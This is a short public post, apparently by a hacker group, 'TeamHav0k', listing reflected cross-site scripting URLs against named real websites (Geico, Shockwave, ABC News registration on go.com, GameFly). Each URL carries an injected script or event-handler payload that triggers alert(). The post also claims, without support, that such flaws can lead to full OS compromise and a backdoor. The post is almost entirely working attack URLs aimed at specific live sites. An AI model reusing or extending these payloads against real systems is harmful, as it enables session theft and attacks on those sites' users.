TeamHav0k - XSS Report -

-TeamHav0k-

TeamHav0k Member: "Here's another list of XSS, admins of these sites please install good XSS filters because someone may use these for their own gain, yes they are non-persistent... But if the attack has the proper knowledge of XSS (which it seems very few people have and web-admins are oblivious to) they can easily with a little SEing do a full OS compromise and from there open a backdoor to the victims computer."

http://www.geico.com/search/?term=HIII"+AUTOFOCUS+onfocus=alert("xss")>&x=0&y=0

http://www.shockwave.com/online/all-games.jsp?filter=online&col=releaseDate&dir=desc"><script>alert(String.fromCharCode(34, 69, 114, 114, 111, 114, 34))</script>

https://register.go.com/global/abcnews/register?appRedirect=http://abcnews.go.com/"><script>alert(String.fromCharCode(34, 69, 114, 114, 111, 114, 34))</script>

http://resp.email.gamefly.com/gf40/wmws/GMFY/1282781171213_995/w1307.php?custcode=GMFY&bid=95407551&pbid_=95407551"><script>alert(String.fromCharCode(34, 69, 114, 114, 111, 114, 34))</script>